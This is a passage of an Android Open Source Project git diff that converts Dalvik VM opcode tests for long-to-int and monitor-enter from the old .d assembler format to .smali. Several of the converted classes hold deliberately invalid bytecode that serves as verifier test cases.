-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_int_1.java
-.class public dot.junit.opcodes.long_to_int.d.T_long_to_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       long-to-int v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.smali
new file mode 100644
index 0000000..c075881
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_1.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       long-to-int v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.d
deleted file mode 100644
index 1732d7f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_int_2.java
-.class public dot.junit.opcodes.long_to_int.d.T_long_to_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       long-to-int v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.smali
new file mode 100644
index 0000000..876cf93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_2.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       long-to-int v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.smali
new file mode 100644
index 0000000..2f460ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_3.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_3;
+.super Ljava/lang/Object;
+.source "T_long_to_int_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(J)I
+    .registers 8
+
+    const p1, 0x449a4000    # 1234.0f
+
+    long-to-int v0, p1
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.d
deleted file mode 100644
index 50e5889..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_int_4.java
-.class public dot.junit.opcodes.long_to_int.d.T_long_to_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       long-to-int v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.smali
new file mode 100644
index 0000000..37256cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_4.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       long-to-int v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.d
deleted file mode 100644
index 5b65864..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_int_5.java
-.class public dot.junit.opcodes.long_to_int.d.T_long_to_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       long-to-int v0, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.smali
new file mode 100644
index 0000000..7041b5d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_5.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       long-to-int v0, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.d
deleted file mode 100644
index ad412f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_long_to_int_6.java
-.class public dot.junit.opcodes.long_to_int.d.T_long_to_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)V
-.limit regs 8
-       move v0, v7
-       move v1, v7
-       long-to-int v0, v0
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.smali
new file mode 100644
index 0000000..264500d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/long_to_int/d/T_long_to_int_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_long_to_int_6.java"
+.class  public Ldot/junit/opcodes/long_to_int/d/T_long_to_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+       move v0, v7
+       move v1, v7
+       long-to-int v0, v0
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.d
deleted file mode 100644
index eb443b7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.d
+++ /dev/null
@@ -1,63 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_1.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1
-.super java/lang/Object
-
-.field public counter I
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-
-       const/4 v0, 0
-
-       iput v0, v1, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-       monitor-enter v7
-Label8:
-       iget v1, v7, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-
-       const-wide/16 v3, 500
-       invoke-static {v3, v4}, java/lang/Thread/sleep(J)V
-       
-       iget v2, v7, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-       
-       if-ne v1, v2, Label0
-       
-       add-int/lit8 v1, v1, 1
-       iput v1, v7, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-       monitor-exit v7
-Label24:
-       return-void
-Label0:
-       const/4 v5, -1
-       iput v5, v7, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-       monitor-exit v7
-       return-void
-       
-Label25:
-       move-exception v3
-       monitor-exit v7
-       const/4 v5, -1
-       iput v5, v7, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_1.counter I
-       throw v3
-.catch all from Label8 to Label24 using Label25
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.smali
new file mode 100644
index 0000000..f1879c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_1.smali
@@ -0,0 +1,63 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_1.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;
+.super  Ljava/lang/Object;
+
+.field public counter:I
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+
+       const/4 v0, 0
+
+       iput v0, v1, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       return-void
+.end method
+
+.method public run()V
+.registers 8
+       monitor-enter v7
+:Label8
+       iget v1, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+
+       const-wide/16 v3, 500
+       invoke-static {v3, v4}, Ljava/lang/Thread;->sleep(J)V
+       
+       iget v2, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       
+       if-ne v1, v2, :Label0
+       
+       add-int/lit8 v1, v1, 1
+       iput v1, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       monitor-exit v7
+:Label24
+       return-void
+:Label0
+       const/4 v5, -1
+       iput v5, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       monitor-exit v7
+       return-void
+       
+:Label25
+       move-exception v3
+       monitor-exit v7
+       const/4 v5, -1
+       iput v5, v7, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_1;->counter:I
+       throw v3
+.catchall {:Label8 .. :Label24} :Label25
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.d
deleted file mode 100644
index 2e7fc6f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.d
+++ /dev/null
@@ -1,85 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_2.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2
-.super java/lang/Object
-
-.field private flg I
-.field public result Z
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const/4 v2, 0
-       iput v2, v3, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.flg I
-
-       const/4 v2, 1
-       iput-boolean v2, v3, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.result Z
-       return-void
-.end method
-
-.method public run(I)V
-.limit regs 10
-
-       monitor-enter v8
-Label13:
-       monitor-enter v8
-Label14:
-
-       iput v9, v8, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.flg I
-       
-Label16:
-       monitor-exit v8
-Label20:
-
-       const-wide/16 v4, 500
-
-Label22:
-       invoke-static {v4, v5}, java/lang/Thread/sleep(J)V
-Label23:
-
-       iget v1, v8, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.flg I
-
-       if-eq v1, v9, Label35
-
-       const/4 v5, 0
-       iput-boolean v5, v8, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.result Z
-       
-Label35:
-       monitor-exit v8
-Label37:
-       return-void
-       
-       
-Label46:
-       move-exception v4
-
-       const/4 v6, 0
-       iput-boolean v6, v8, dot.junit.opcodes.monitor_enter.d.T_monitor_enter_2.result Z
-
-       monitor-exit v8
-Label53:
-       throw v4
-       
-.catch all from Label13 to Label14 using Label46
-.catch all from Label16 to Label20 using Label46
-.catch all from Label22 to Label23 using Label46
-.catch all from Label35 to Label37 using Label46
-.catch all from Label46 to Label53 using Label46
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.smali
new file mode 100644
index 0000000..d6e3b69
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_2.smali
@@ -0,0 +1,85 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_2.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;
+.super  Ljava/lang/Object;
+
+.field private flg:I
+.field public result:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 0
+       iput v2, v3, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->flg:I
+
+       const/4 v2, 1
+       iput-boolean v2, v3, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->result:Z
+       return-void
+.end method
+
+.method public run(I)V
+.registers 10
+
+       monitor-enter v8
+:Label13
+       monitor-enter v8
+:Label14
+
+       iput v9, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->flg:I
+       
+:Label16
+       monitor-exit v8
+:Label20
+
+       const-wide/16 v4, 500
+
+:Label22
+       invoke-static {v4, v5}, Ljava/lang/Thread;->sleep(J)V
+:Label23
+
+       iget v1, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->flg:I
+
+       if-eq v1, v9, :Label35
+
+       const/4 v5, 0
+       iput-boolean v5, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->result:Z
+       
+:Label35
+       monitor-exit v8
+:Label37
+       return-void
+       
+       
+:Label46
+       move-exception v4
+
+       const/4 v6, 0
+       iput-boolean v6, v8, Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_2;->result:Z
+
+       monitor-exit v8
+:Label53
+       throw v4
+       
+.catchall {:Label13 .. :Label14} :Label46
+.catchall {:Label16 .. :Label20} :Label46
+.catchall {:Label22 .. :Label23} :Label46
+.catchall {:Label35 .. :Label37} :Label46
+.catchall {:Label46 .. :Label53} :Label46
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.d
deleted file mode 100644
index 9ad99fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_3.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       const/4 v5, 0
-       monitor-enter v5
-       monitor-exit v5
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.smali
new file mode 100644
index 0000000..bb5bd5a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_3.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const/4 v5, 0
+       monitor-enter v5
+       monitor-exit v5
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.d
deleted file mode 100644
index 5b3469d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_4.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       monitor-enter v6
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.smali
new file mode 100644
index 0000000..62b5db8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_4.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       monitor-enter v6
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.d
deleted file mode 100644
index 7078aa0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_enter_5.java
-.class public dot.junit.opcodes.monitor_enter.d.T_monitor_enter_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       const v5, 12345
-       monitor-enter v5
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.smali
new file mode 100644
index 0000000..fd33bdc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
